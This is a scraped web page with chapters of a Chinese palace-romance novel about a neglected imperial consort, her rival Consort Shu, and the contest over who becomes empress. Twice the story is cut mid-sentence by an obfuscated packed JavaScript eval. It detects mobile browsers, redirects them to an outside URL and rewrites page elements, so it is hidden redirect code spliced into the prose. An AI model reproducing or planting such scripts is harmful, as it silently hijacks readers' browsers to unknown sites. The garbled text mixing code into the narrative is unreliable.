宁梓韵轻笑出声,眼神柔和了几分:”本宫的好青芜,别气了。你不是一直吵着想登长楼远眺吗?今日皇上不在宫中,本宫便准你上去瞧个够。” “好好好!就知道娘娘最疼奴婢啦!” 得了宁梓韵的特许,青芜兴奋得如同一只出了笼的小雀。宁梓韵虽然失宠于帝王,却在太后蓝渺渺心中占着极重的份量。若非太后当年据理力争,以她那备受排挤的身世,又怎能如此顺利地入宫封妃?太后对她来说,是长辈,更是救命的恩人。 宁梓韵缓步走入那为太后量身打造的暖阁,看着四周屏风上绣着的四季芙蓉,眼神中满是无法掩饰的羡慕。”若能有这十分之一的真心,也就好了……”她在心中轻声呢喃。她不求废黜六宫,只求那个男人能将对待淑妃时万分之一的温柔,偶尔施予她一瞬。 青芜早已沉浸在登高望远的兴奋中。芙蓉阁的长楼之上,视野极好。近处是如云霞般绵延盛放的芙蓉,远处是大周皇宫那宏伟壮阔的轮廓。 唯独,在视线尽头的青龙门外,有一抹明黄色的人影格外出挑。 宁梓韵原本轻抚栏杆的手猛地一滞,脸上那点淡淡的笑意在一瞬间消失得干干净净,取而代之的是一种近乎死灰的冷淡。 “呵,怪不得你今日总想拉本宫出来。” “娘娘……”青芜察觉不妙,原本欢快的语气也弱了下去。 宁梓韵自顾自地说着,目光死死地锁在那个方向:”怪不得那些宫人看我的眼神今日多了几分怜悯。原来,是皇上带着淑妃去西北猎场狩猎了。” 她的嗓音平静得出奇,却彷佛用尽了全身的力气,掐在自己的心尖上。即便距离遥远,她依然能看清那个男人的动作。安景帝亘安那俊朗的面容在日光下格外夺目,那双原本锐利冷硬的凤眸,此刻在李思然面前却满是如水的柔情。 宁梓韵看见他亲手解下自己脖上的白貂毛围巾,那样自然、那样温柔地为身侧的娇客披上。那举止间的亲昵与呵护,像极了这世间最幸福的寻常夫妻。而那条貂毛围巾,是去年冬狩时亘安亲自猎得的头彩。 “娘娘,奴婢……奴婢就是怕您伤心,才不敢告诉您的。”青芜”扑通”一声跪在地上,死死咬着唇,眼眶里打着转的泪珠终于滚落了下来。 宁梓韵自嘲地叹息一声,眼角微红:”可是老天爷似乎也不打算放过我,偏要让我亲眼看见。可见,人的命,从来都不是自己能掌控的。”她望向那远去的銮驾,指尖在石栏上摩挲出刺耳的声响,”你以为我是在意他带了淑妃去?其实往年不也一直是她。可今年不一样。” 宁梓韵将额头抵在冰凉的栏杆上,试图用那股冷意压下心中不断翻腾的酸楚。 “皇上登基三年,“三”在大周是吉数,亦是转折之年。今年这场秋狩,皇室一向看重。本宫曾翻阅过藏书阁的典籍。历代大周帝王于登基第三年的狩猎,依例……都应由正室嫡后同行。即便无后,也应是由位分最高的嫔妃代行母仪之风。” 可他,却在那样重要的场合,带了一个位分在她之下的淑妃。这已经不单单是宠爱,这是明晃晃的羞辱,是告诉全天下,谁才是他亘安心中真正的“正室”。 宁梓韵眼睫颤了颤,如同一只精疲力竭的蝴蝶。青芜猛地一怔,这才意识到问题的严重性。 宁梓韵毅然转身,强迫自己收回视线。”走吧。芙蓉虽美,终究不属于本宫。”她脸上的落寞被迅速掩去,再次换上了那副一贯的从容淡定。只是,若不细看,很难发觉她眼尾那抹被生生逼回去的微红。 “娘娘,奴婢斗胆一回,想问您一件事。”下楼的途中,青芜突然在身后低声开口。 宁梓韵手里摆弄着一朵刚才拾到的凋落芙蓉,语气淡淡:“说。” 青芜深吸一口气:“您明知入宫后不会被皇上重视,明明知道他心里装着别人……为什么当初还要答应太后娘娘的提议?” 宁梓韵的身形僵了一瞬,随手扯落了一枚枯萎的花瓣,没有说话。 青芜红着眼说:“奴婢阿娘临终前曾说过,若爱上一个不爱你的人,这辈子都会活得像在苦汤里浸着,一生难熬。”青芜之所以能如此天真,是因为她的父母一生只有彼此,白头偕老。她一直以为情爱本该如此,可自从跟着宁梓韵进了这深宫,看着主子受尽冷眼,她心中的梦正被现实打碎。 宁梓韵看着脚下的青砖,淡淡道:“青芜,你究竟想说什么?” “娘娘,放弃吧!”青芜突然拦在宁梓韵面前,声音颤抖,“求您不要再爱着皇上了。只要您不爱他,在这宫里您便是高高在上的贵妃,何必把自己的一颗心陷进去?您越是在在意,难受的就只有您自己啊!” 宁梓韵的狐狸眼里没了光,脑海中不断重迭着方才亘安替李思然系围巾的画面。 “你以为本宫不想放弃吗?我想过,很多次。无数个睡不着的夜里,我都告诉自己,明日起便不再爱他了。”宁梓韵的声音很轻,“但人……一旦在极致的黑暗中感受过那一缕唯一的阳光,便会像溺水的人抓住了浮木,再难自拔。” 她松开手,任由那朵支离破碎的芙蓉花落入泥土。 “青芜,你可别跟本宫一样傻。因为这情爱,真的不值得。” 看着主子那纤细单薄的背影,青芜的眼泪再也忍不住了。她从小看着主子受苦长大,在尚书府时,主子虽是大小姐,却因庶出的身分处处受苛待。那时的主子从不争辩,只会躲在假山后偷偷地哭。本以为一切都无人察觉,直到有一天,老爷和夫人爆发了激烈的争吵。老爷吼道:“若不是那日太子亲口向我提起,我竟然都不知道,我的大女儿在府里竟然任人打骂,过得连个粗使丫鬟都不如!” 自那日起,宁梓韵的处境才有了改善。而她对那位太子的感激,也在那不知不觉的岁月里,悄然变成了致命的爱慕。可这种伤心大过于喜悦的感情,真的能叫“爱”吗? 与此同时,千里之外的西北草原。秋风萧瑟,枯草连天。安景帝亘安早已带着一众勋贵与使臣入林狩猎而去,唯留下一片巨大的蒙古包驻扎在水镜湖畔。 淑妃李思然因为不擅骑射,被留在了主帐中。“芬儿,把刚才皇上差人递进来的那些赏赐拿过来,本宫要仔细瞧瞧。”李思然坐在华丽的狐皮垫子上,语气中透着一股子掩饰不住的娇纵与得意。 芬儿垂着眼帘,恭敬地将一盘剔透的玛瑙串递上,全程不发一语。 李思然接过东西,斜睨了一身侧这名贴身宫女。 芬儿长相平平,这几日常常沉默寡言,倒像是块木头桩子。许是今日心情大好,李思然难得大发慈悲地问了一句:“芬儿,你最近是怎么了?整日冷着张脸给谁看呢?是在埋怨西北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“多谢皇上夸赞,微臣定当铭记在心,日后在接驾差事上更落力些。”胡楠大咧咧地在亘安对面坐下,两人说话间毫无君臣之别,反倒透着股子少年旧交的随性。 “行了,别在那儿摆架子了。你这一路冷着张脸,瞪得比那林子里的黑瞎子还凶,也不怕把眼珠子给瞪出来?”胡楠给自己满上一杯酒,”痛快!今日不醉不归。” “别闹,待会儿还有人要过来。”亘安按住他的手。 “谁啊?”胡楠刚要调笑,脑中闪过一个名字,语气瞬间变了,“呦,你不说我差点忘了——是韵儿妹妹吧?算起来我也好几年没见她了,也不知她现在成了贵妃,是不是还跟从前在府里时那样清丽动人?” 提及“宁梓韵”,亘安的神色明显沉了下去,连握着杯子的手都紧了紧。 “不是她。”他冷冷吐出三个字。 “不是她?那你带了谁来?”胡楠耸耸肩,语气随意且带了几分失望,“那微臣可就没兴趣了。除了韵儿,这世上的女人不都那样,能有啥稀罕的?” 亘安听见这话,心中莫名升起一股子无名火,语气带着几分冷峭的质问:“胡楠,你很想见她?” 这语气里的烦闷连傻子都能听出来。 胡楠却偏要往虎口上撞:“想见是一定的。毕竟那丫头小时候常跟在我们屁股后头跑,算是我半个亲妹妹。再说了,咱们这几个人里,年纪最小、脾气最臭的就是你,哈哈哈!” 亘安冷眼瞪他,胡楠却毫不在意:“不是我说你啊,亘安,你这人也忒别别扭了。人家韵儿哪里惹你了?从小就那么乖巧听话,你如今天天摆脸色给她看,我要是她,早就带着金银首饰跑路了!也就她能忍得了你这臭脾气。” “她敢!”亘安声音骤冷,眼底掠过一丝危险的怒意。 胡楠撇撇嘴:“行行行,不提她总行了吧。那说说立后的事呗。本来大家都以为你是给她留着位子,如今看你这副厌恶的态度……哼,那你打算给谁?总不能一直空着吧?” “朝中那些老狐狸,是不是让你在这儿探朕的口风?” 提及立后,亘安的眼神变得深不可测。自他登基以来,这件事便被大臣反复提起。胡楠凑近了些:“你总得给个准信儿。万一站错了队,日后我这脑袋可就不稳当了。” 亘安未答,只是低头将一盏烈酒饮尽。他似乎想用这灼喉的烈意,压下心中那抹因提起宁梓韵而生出的繁杂情绪。 “决定不出来?那微臣斗胆替您决定一回——”胡楠半真半假地调笑着,“大周历来有古法规矩。这次狩猎你带了谁在身边,那干脆就立谁得了!管她是谁,至少得是你现在看着顺眼的。” 这语气极其轻佻,桌底下却猛然挨了亘安重重的一脚。 胡楠痛得脸都绿了,却碍于身分,只能强憋着没喊出声。 亘安眼底掠过一丝冰冷的否定,他心里清楚,立后绝非如此儿戏。 然而——胡楠这句无心的调侃,却真真切切地落入了帐外某人的耳中。正欲进帐伴驾的淑妃李思然,听到这番惊天动地的对话。 那句“带了谁便立谁”,彷佛带着某种魔力,在她脑海里疯狂回响。 李思然的唇角微微扬起,压都压不住。三年了,她在宁梓韵的位分之下忍气吞声了整整三年。 如今,她终于等到了这一天! 只要有皇上这句话,只要能在这西北草原上博得帝王欢心,那凤袍凤玺,便唾手可得! “宁梓韵……你就等着吧。看看你那张清高漠然的脸,还能在那冷宫般的丽华宫里,冻得过几时!” 李思然重新换上了那副娇媚如花的笑颜,缓步踏入了帐中。 而此时,远在皇宫芙蓉阁的宁梓韵,却莫名打了一个寒颤。 7. 第007章 梦折庆和 回宫的官道上,秋风萧瑟,卷起几片枯黄的落叶,打在镶金嵌宝的御用舆驾上,发出细碎而沉闷的声响。相较于半月前出发前 往西北时帝妃分乘两辆马车的规矩,此番返程,安景帝亘安竟直接下旨,让淑妃李思然入了御赐的龙辇。 这般打破祖制的安排,在随行的文武百官眼里或许只是皇上一时兴起、溺爱无度的表现,可落在李思然的心底,却仿佛是一枚沉甸甸的定心丸,印证了她对未来的所有野心。她半倚在铺着柔软白狐皮的榻上,看着身侧正闭目养神的帝王,心跳如鼓,每一下都撞击着胸腔。 她愈发笃定了——后位之事,八九不离十便是她的了。放眼如今这大周后宫,除了那个空占着贵妃之位、整日里如枯木死水般的宁梓韵,还有谁能在这万乘之尊身侧占得一席之地? 马车内,龙涎香与女子甜腻的脂粉味交织在一起,显得有些闷人。亘安眉心微蹙,似乎即便在小憩中也依然被那些繁杂的边境战报纠缠着。李思然则毫无顾忌地将目光贪婪地停留在他的脸上。帝王那挺拔的鼻梁、颈间随呼吸起伏的喉结,以及那一身即便在闲暇时也透着肃杀之气的肩背,无一不是她权利与欲望的终点。 能被这般尊贵、手握乾坤的男人拥在掌心呵护,对她这样一个曾经在市井街头摸爬滚打、甚至连姓名都不配拥有的孤女而言,简直是命运最奢侈的馈赠。三年前在江南初见时,他那一身寒霜般的冷冽气场,曾让她吓得连头都不敢抬。可谁能想到,这三年来,这个男人却给了她在这世间最极致的荣宠与锦衣玉食? 想到昨夜在水镜湖畔行宫里的荒唐与亲昵,李思然的双颊不禁飞起两抹酡红。她偷偷抬眼看向亘安,见他眼底覆着一抹淡淡的青痕,那种疲惫让这位素来高高在上的帝王多了几分凡人的气息。她腰间还隐隐作痛,那是昨夜纠缠时留下的痕迹,此刻回想起来,竟像是一种荣耀的勋章。 心头那股暖意与旖旎交织,她大着胆子,悄悄往亘安身侧挪近了些。马车因碾过一块碎石而剧烈颠簸了一下,她的脚踝不小心撞到了温热的汤婆子,发出清脆的响动。 亘安缓缓睁开眼,那双平日里清明得近乎残酷的凤眸,此时少见地染上了几分夜未安眠的疲懒。他的目光落在李思然那张写满了关切与娇羞的小脸上,唇角勾起一抹玩味的弧度,声线低哑而富有磁性:“爱妃,想做什么?” “爱妃”二字,是大周宫廷里所有女人梦寐以求的称呼,而亘安只给了她一人。 “臣妾岂敢妄为,只是见皇上眼底乌青,心疼得紧。”李思然咬着下唇,用绣着缠枝花的丝帕掩住嘴角,露出一副弱不禁风的模样。车窗缝隙里漏进的一缕秋风吹乱了她的鬓发,更添了几分楚楚动人的柔媚。 亘安果然没有移开视线。他伸出指节分明、带着常年握剑磨出的薄茧的长指,有些粗鲁却又不失亲昵地扣住她的下颔,将人猛地带入怀中:“哦?心疼朕?” 他凑近她的耳际,灼热的气息洒在那敏感的皮肤上,语调里带着一丝戏谑:“可昨夜你在朕耳边,却不知喊了几声‘再疼我一些’——那时候,怎么就不见爱妃心疼朕辛苦了?” 这般露骨的话语让李思然满面飞红,她羞恼地在帝王宽阔的胸膛上捶了一记,却又顺势将身子贴得更紧,恨不得能揉进他的骨血里:“皇上,您怎么能这样笑话臣妾,臣妾……臣妾不依。” 她一头埋进他怀里,感受着那股冷冽的香气。她浑然未觉,就在这一瞬间,亘安原本还带着笑意的眉心微微皱了皱,眼中闪过一抹极其复杂且幽深的情绪。那不是爱慕,而是一种近乎于审视祭品般的冷漠,但很快便被掩饰在了一片温和的假象之下。 亘安垂眸,漫不经心地把玩着女子那如绸缎般顺滑的青丝,目光却穿过晃动的车帘,投向了遥远的、那座被夕阳染红的皇城。 李思然身上的香气不断往他鼻子里钻,却让他莫名想起了胡楠今晨临行前那番不干不净的提醒。 胡家那小子虽然说话向来没大没小,但那句“别让自己后悔”,却像是一根刺,扎在了他的心口。 “皇上,明年狩猎也带上臣妾,可好?”李思然软糯的声音在怀中响起。 “自然。”亘安淡声应下。 李思然喜形于色,纤长的小手攀上他的后颈,正欲以红唇献吻,却不想马车又是一颠。她惊呼一声,身子从他怀中滑落。亘安没有立刻将她扶起,而是顺势捏了捏她的脸蛋:“乖,让朕再歇歇。回宫后,还要急召那群老狐狸议事,费神得很。” 刚从水镜县返京,便要急召群臣议事——若非国之重事,何至于此?李思然坐在厚实的毯子上,心跳快得几乎要跳出嗓子眼。 她几乎能断定,那一定是立后之事有了最后的结果。 入住凤仪宫,似乎已是板上钉钉的定局。 这一念头支撑着她乖巧地坐回原处,不再纠缠亲昵,满脑子都是即将凤冠霞帔、母仪天下的荣耀景象。而座上的帝王重新阖上眼,嘴角虽挂着浅笑,却再无半点温度。 立一个听话、好操控,且能在太后面前挡箭的皇后,似乎确实是一个不错的选择。 亘安的脑海中忽地闪过另一双眼——那是宁梓韵的眼。似玉如墨,总是清亮得让他感到没由来的烦躁,那里面藏着的寒意,哪怕是在盛夏里也足以让他如坠冰窖。 他的手指不动声色地将一方昨夜用过的、沾染了脂粉气的帕子,轻抛入座下的阴影深处。 * 水镜县离京城虽然算不上远,但在这一路马不停蹄的奔波下,仍耗去了两个多时辰。待安景帝的仪仗缓缓驶入神武门时,已是将近午时。 因是临时起意的巡狩,随行的人员并不算多,反倒是庆和宫准备的那些御寒衣物与首饰占了大半的马车,浩浩荡荡地在宫道上碾过。 进了宫门,亘安低声交代了一句,说要直接回朝阳殿处理政务。李思然自然表现得温顺懂事,软语叮嘱他要注意龙体,不要过度操劳,随即带着一众宫人,挺胸抬头地回了庆和宫。 可脚尖刚一踏进庆和宫的殿门,李思然脸上的温婉便消失殆尽。 “芬儿,赶紧去打听一下,宁梓韵那个女人现在在哪儿。” 一回宫便急不可耐地要打听宁梓韵的行踪,整个庆和宫的奴才都心领神会。李思然冷笑一声,甚至等不及芬儿去回话:“罢了,本宫亲自过去。反正那女人不是窝在她那冷清如坟场的丽华宫,就是在御花园里像个老太婆似的晒太阳。没情趣也没手段,也难怪皇上三五个月也不愿往她那里看一眼。” 她语带嘲讽,身上还穿着那件在水镜县特制的、点缀着无数粉色流苏的异域绣衣。随着她疾步前行,流苏碰撞发出清脆而嚣张的声响,她就那样领着一群人,气势汹汹地直奔丽华宫而去。 丽华宫内,檀香幽幽,安宁得近乎死寂。 宁梓韵正静坐在窗边的竹椅上,低头绣着一朵红芍药。花瓣已经绣了大半,金丝勾勒出的边缘在阳光下反射着尊贵而冷淡的光泽。一刻钟前,她已经得知了皇上大驾回宫的消息。 青芜曾凑过来问过,是否需要按例带人前去神武门迎驾。宁梓韵只是淡淡地摇了摇头。当初亘安带淑妃出巡时,连一封口信都没留给她这个掌管六宫的贵妃。在他眼里,她这个贵妃想必只是个用来对付太后的摆设。既然如此,她又何必多此一举?与其出门吹冷风,倒不如待在屋里清静。 “娘娘,淑妃往咱们这儿来了,那脚步声……快得很。” “嗯,知道了。”宁梓韵手中的绣针未停,语气平静得像是在谈论今天的天气,“备茶,迎客吧。” 话音未落,那惯常娇媚却透着刺耳刻薄的嗓音已经穿透了宫门。 “本宫可是皇上心尖尖上的淑妃,想进哪儿便进哪儿!你们这些丽华宫的奴才,哪来的胆子挡本宫的路?若是碰坏了本宫身上这件皇上亲赐的绣衣,你们有几条贱命够赔?” 丽华宫的宫人们面面相觑,却在宁梓韵平静的注视下,纷纷垂首退避,无人敢与这盛宠之下的疯女人争锋。这般嚣张跋扈,也唯有在宁梓韵面前,李思然才会如此毫无顾忌。 宁梓韵一直想不明白,自己与李思然素无深仇大恨。最奢华的庆和宫她住着,帝王的心也在她那儿,如今连后位也即将入其囊中,她到底还有什么不满足的? 她蹙眉,将绣了一半的芍药搁在膝头。那抹艳红此刻瞧着,竟觉得有些刺眼了。 抬眼望去,李思然已经如同一团火焰般撞进了殿内。她穿着那套流苏裙,裙摆摇曳间点点粉色跳动,衬托着她那张由于极度得意而显得明艳动人的脸庞,确实好看,无怪乎亘安会为她破例。 “姐姐,妹妹刚从水镜县回来,这不,连衣服都没顾得上换,就先来瞧瞧您。”李思然语气虽亲热,却连个半礼都没行,径直一屁股坐上了原本属于主位的贵妃榻,反客为主地将宁梓韵晾在了一侧。 “嗯,平安回来就好。”宁梓韵平淡应答,甚至懒得纠正她的失仪。 “水镜县可真是有趣,山清水秀,那里的男男女女都热情得紧。可惜啊,姐姐这样身分贵重的人,竟没能跟着皇上去领略一番。”李思然语带轻快,旋即似笑非笑地补上一句,“哦对了,瞧我这记性。今年是皇上登基三载的重头戏,这般重要的祭祀与狩猎,皇上自然要带那真正能交心的人去,哪是随随便便什么人都能跟得上的?” 这显然是明晃晃的炫耀。 宁梓韵低头抿了一口茶,手中那盏菊花茶香气幽淡,是她平日用来压制心中莫名焦躁的。此时,青芜端着新沏的茶点进了殿。 宁梓韵余光一扫,眉心微微一跳。那白桃酥边缘有些干硬,分明是前几日剩下的陈货;而那茶汤颜色暗沉,闻着毫无茶香,分明是去年的封茶。她看了青芜一眼,却见那小丫头对自己眨了眨眼,一脸的无辜与委屈。 宁梓韵心中暗笑,只得拿茶盏遮住嘴角。 “姐姐可知,此次返京,群臣又在朝堂上为了立后之事吵翻了天?那些老家伙们,整日里催促皇上早定国本呢。” 李思然见宁梓韵始终一副油盐不进的漠然模样,便决定直接祭出杀招。果不其然,她如愿捕捉到了宁梓韵端茶的手指那一瞬的僵硬。李思然笑得愈发张狂了。 “嗯,立后是大周的大事,宫里宫外谁能不知?”宁梓韵淡淡接话。 “那姐姐可知,皇上在回来的马车上,亲口对妹妹许了什么愿?” 李思然执起一块点心,轻咬了一口,随即露出厌恶的神色。虽然她极度厌恶丽华宫,但不得不承认,这里的小厨房确实是宫中一绝。一般的白桃酥又甜又腻,唯有丽华宫能做得清爽回甘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490877|202217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 当初她向皇上讨要过这里的厨子,皇上却难得地没松口,说是那是宁梓韵从母家带进来的。不过没关系,等她成了皇后,宁梓韵的一切不都得归她? “不知。圣心难测,非我等所能揣度。”宁梓韵本欲冷淡拒绝,但对上李思然那副胜券在握的嘴脸,终究还是多说了几个字。 李思然笑意更盛,她猛地站起身,提着那满是流苏的裙摆,一步步踏下台阶,走到宁梓韵面前,微微弯下腰,迫使两人平视。 “那妹妹今日就大发慈悲地告诉你——是我哦。皇上亲口说了,他要立的人,是我。” 语气中已不再掩饰,甚至连那层虚伪的“本宫”皮囊都懒得披了。 她伸出尖锐的指甲,带着几分羞辱意味地勾起宁梓韵的下巴,声音压得极低,像是一条吐信的毒蛇:“宁梓韵,你就算有再大的母家撑腰,就算你是高高在上的尚书千金又怎样?我不过是一个街头孤女,却能握住皇上整颗心。我会成为这大周的皇后,而你……你这辈子到头,也永远只能是个受冷落的贵妃。” “就算太后护着你又如何?这后宫的天是皇上给的。一只断了翅膀的鸟,就算被圈养在太后亲赐的华丽鸟笼里,也永远飞不出这方寸之地。你就守着这清冷的丽华宫,孤独终老吧!” 看着宁梓韵眼中那抹渐渐散去的微光,李思然感到了前所未有的愉悦。 “再见了,姐姐。哦对了,往后的请安,妹妹就不来了。下次见面,想必便是本宫的封后大典。到那时候,姐姐记得要跪在本宫面前,三叩九拜。可别到时候气坏了身子,看不成那场盛景。” 李思然浩浩荡荡地带着奴才们撤离了,丽华宫瞬间恢复了死寂。宁梓韵依旧维持着方才的坐姿,脊背挺得笔直,那是她在尚书府十年如一日受到的礼教训练。 无论内心如何荒凉,她面上始终维持着那份体面。可正是这份体面,此时却成了一个天大的笑话。 青芜见她神情不对,小声上前劝慰:“娘娘,您别理那疯女人胡说。圣旨未下,谁知道结果?再说了,就算她真的成了皇后,您也是贵妃,有太后娘娘在,她不敢把您怎么样的。” 宁梓韵拿走青芜手中另一盏没被碰过的冷茶,一饮而尽。旧茶早无甘香,唯余苦涩在舌尖蔓延,正如她此刻支离破碎的心境。 “很奇怪,青芜。”她轻抚着心口,眉间微蹙,“明明我已经做好了最坏的打算,也知道这位置迟早是要易主的……可这里,还是疼得厉害。疼得本宫,几乎喘不过气来。” 她低声问:“青芜,你说本宫是不是个傻子?明知道他在演戏,明知道他不在乎,却还是忍不住把一颗真心捧上去让他践踏。” 她自嘲地笑了笑,眼底却没有半分笑意:“可李思然,又何尝不是个傻子?她以为抓住了宠爱就抓住了一切。却不知道,在这深宫里,最虚幻的便是帝王的宠。当局者迷,旁观者清……她与我,皆是困于樊笼的愚蠢之人。” 午后的阳光投射进殿内,窗外的积雪正在一点点融化。这原本该是暖春将至的预兆。 可宁梓韵却觉得,她生命里的严冬,才刚刚开始。她原本以为自己会哭,可努力了半晌,却发现眼眶干涩得厉害。眼泪,早就已经流干了。 * 朝阳殿内,灯火通明,直到深夜子时,那嘈杂的议论声方才渐渐散去。 翌日清晨,大周皇宫的空气中还透着未散的寒霜。一卷盖了玉玺的明黄色圣旨由翰林院拟好,消息第一时间并非送往丽华宫,而是先一步通过庆和宫安插在朝阳殿的眼线,送到了淑妃的手中。 此时的李思然正倚在榻上打盹,昨夜她兴奋得整夜没睡。听闻消息,她连鞋都顾不上穿,赤着双足踏在寒凉的白玉地砖上,疯了似的迎向前来报信的小内侍。 “快说!皇上草拟的圣旨上,写的是谁的名字?” 李思然的声音因激动而剧烈颤抖,她的眸中布满了猩红的血丝,尖锐的指甲死死扣住那内侍的肩膀,深陷肉中。 那内侍痛得冷汗直流,声音颤抖得不成调子:“回……回娘娘。朝阳殿那边……已经定下了。圣旨上……拟定的人选,是贵妃娘娘……宁梓韵。” “你胡说!” 李思然失声尖叫,那一声凄厉得如同鬼魅,惊动了梁上的宿鸟。她全身的血气仿佛在瞬间被抽离,身体猛地一晃,险些跌倒,却死死撑着门框不肯认输。 “不可能!皇上亲口答应过我的!这后宫里除了我,还有谁配当皇后?那个宁梓韵,她整天冷着一张脸,皇上连正眼都不看她一下,她凭什么!” 李思然的五官因极度的愤怒与不甘而变得扭曲丑陋。她推开上前搀扶的芬儿,双眼赤红,声嘶力竭地怒吼:“我不信!这一定是宁梓韵那个贱人勾结太后使的阴招!本宫要亲自去见皇上,本宫要问个清楚!” 她猛然转身,大步冲向内殿,冷风吹起她单薄的衣衫。那一双赤裸的足踏在冰冷彻骨的地砖上,每一步都带出一个冰凉的血色印记,她却像感觉不到痛一样。 “传芬儿……替本宫更衣。要穿那件最红、最艳的!本宫现在就要去朝阳殿!” 她的声音冷如铁刃,那股由于幻梦破碎而产生的疯狂气息,在这一刻彻底将整座庆和宫淹没。 梦醒的声音,比任何时刻都要绝望。 8. 第008章 茉语焰书 丽华宫内,残雪未融。 前院的青石板路上只余下一层薄薄的霜雪,薄雾如烟缥缈,轻轻覆盖在尚未凋零的枯枝上。冰珠挂在枝头,在初阳的斜照下闪烁着微弱而清冷的光。几声鸟鸣如银铃般清脆,却在此刻显得格外空灵寂寞,彷佛连这点微弱的春意也被囚禁在重重深宫的高墙之内,无处伸展,只能在冷风中瑟缩。 宁梓韵斜倚在窗边的软榻上,手中翻着一卷边角泛黄的旧书。那古页间隐约透着一股沉静的纸香,与室内淡淡的檀香味交织在一起。她的眼神专注,却在眉宇间挂着一抹挥之不去的淡漠与疏离。 从前的她,总爱在冬末收集花瓣上的露珠煮茶,或是穿着厚实的红斗篷在院中追逐初雪。然而进了这宫墙之后,这些少女时期的闲情逸致都被她小心翼翼地藏了起来。她不愿人知,这宫里的豺狼虎豹也不容许她保有那份纯真。 殿内静谧得只能听见书页翻动的细碎声响。忽地,一声极细、极轻的异音划破了这份死寂。 “喵~” 宁梓韵指尖微顿,眉心不由自主地蹙起。这声音过于突兀,像是从记忆深处那片荒芜的草丛中抽丝剥茧而出。她环顾四周,殿内除了她并无旁人,侍女都在外间待命。她自嘲地垂下眼帘,低声呢喃:”是最近太累了吗……竟然出现了幻听?” 宫中自古不许养猫,安景帝亘安厌恶这类柔弱且带爪的小动物,这是整座大周宫廷人尽皆知的死规矩。当年曾有小主想藉此博取圣宠,结果连人带猫都被逐出了京城。 宁梓韵轻笑着摇了摇头,将心底那点荒谬的想法挥散。她再次垂眸看向手中的旧书,那泛黄的纸张流露着岁月的厚重感,唯有在借阅这些皇宫藏书时,她才能感觉到片刻的自由。 正当她准备将那异声当作错觉抛开时,那声音却再次响起,这一次,比刚才更近,甚至带着几分急促与讨好。 “喵~喵呜~” 宁梓韵猛地收起书本,这一次,她确信这绝非幻听。她起身步至窗前,伸手推开那扇雕花的木窗,一缕凛冽的寒气扑面而来,让她混沌的大脑瞬间清醒了几分。 一张珠白的纸笺,正安安静静地伏在被冻得发硬的窗台上。纸笺的一角被寒风吹得微翘,彷佛是被人精心计算好位置后,刻意搁置于此。 而那诡异的猫叫声,便在她视线触及纸笺的剎那间戛然而止,彷佛这声音从未存在过一般。 宁梓韵怔住了片刻,目光死死锁在那张纸笺上。”……空白纸笺?”她将其拾起,反复翻看,纸张轻薄无痕,质地虽然寻常,却在这宫墙深处显得极其诡异。 “难不成是哪个胆大的小太监在恶作剧?”她眉头紧锁,望向窗外,庭院中白雾茫茫,风静无人。 就在她打算将纸笺丢弃时,忽而一抹阳光斜照,反射在窗台上的银锁之上。光影在空中折射,恰好打在纸笺的表面。那一瞬间,纸上竟然浮现出密密麻麻的细小光纹,如同平静的水面被投入了石子引发的波动,逐渐勾勒出一朵洁白、精致的小花轮廓。 “茉莉花?” 宁梓韵倒抽一口气,心跳在那一刻停摆了一瞬。大周朝地处偏北,并非茉莉生长的胜地,除非耗费巨大的人力物力从南方搬运幼苗,即便如此,在那般娇弱的花种面前,能不能种活都是未知数。大周的国花是太上皇当年亲自定下的芙蓉,象征着繁荣昌盛。 若说天下间茉莉产出最盛、也最以此为记的地方,恰恰是邻国大秦。 那个曾经坐于轮椅之上的男子,曾以茉莉入画,信笺落款也常以此花为印。 “是他吗?” 她静立在窗前,指尖轻轻触碰着那纸面,心跳频率渐渐失守。记忆中,禾凛执笔练字、神色温润的模样历历在目。她拿着那张重若千钧的纸笺来到寝殿内的方桌旁,心中不断揣测禾凛会用什么样的方式向她传达讯息。 桌上的红烛火光熠熠,宁梓韵看着那一簇跃动的火苗,又瞧了瞧手中的空白纸张,语气带着几分狐疑:”……会不会,是用了黎檬子汁?” 这种童年的秘密通讯游戏,是禾凛亲手教她的。那时她还是个不谙世事的小姑娘,曾因失手烧焦了宣纸而被他无奈地责备了好几句,那是她灰暗童年里为数不多的温暖色调。 宁梓韵眼神微动,唇边不自觉地浮起一丝淡得几乎看不见的笑意。她将纸笺举至烛火旁,屏住呼吸。 随着火光的热度一寸寸烘过,纸上终于浮现出淡淡的、浅褐色的笔迹。笔法苍劲有力,透着一股从容不迫的大气,那上面只有四个字—— “平安,勿忧。” 宁梓韵愣了一下,随即缓缓垂下眼帘,发出一声轻不可闻的低笑。仅仅四字,却彷佛穿越了万里风雪与重重宫墙,直抵她那颗早已荒芜的心田。 正当她欲细看那墨迹时,殿外忽地传来一阵杂沓的脚步声,夹杂着宫人们急促且惊惶的呼喊声。宁梓韵心头一紧,这深宫中任何与秦国有关的事物都是能要命的禁忌。她毫不迟疑地一压手腕,将那张纸笺直接投入了跃动的烛火中。 火舌瞬间卷起了纸边,橘红色的光芒在瞳孔中闪烁,不消数息,那传讯之物便化作了一滩黑色的灰烬,彻底无影无踪。 她的指尖还残留着火烘过的余温,心底那一缕紧绷了数日的念想,终于在此刻轻轻放下。 “娘娘!娘娘!奴婢有天大的喜事要禀告!” 青芜的声音带着明显的慌张与兴奋,从殿外急急响起。宁梓韵迅速收敛起眉眼间的柔色,恢复成那副冷淡的面孔,语气平静如水:”进来吧。” 殿门被猛地推开,青芜快步入内,身后跟着一名身形瘦小、脸色有些发白的太监,正是内务府派来的随侍——小德子。这人平日虽然与丽华宫不甚亲近,却胜在行事谨慎,这三载来从未出过纰漏。 “娘娘,方才小德子在那头听说……外头都在疯传皇上要立后的事了!”青芜一边喘气一边嚷着。 立后? 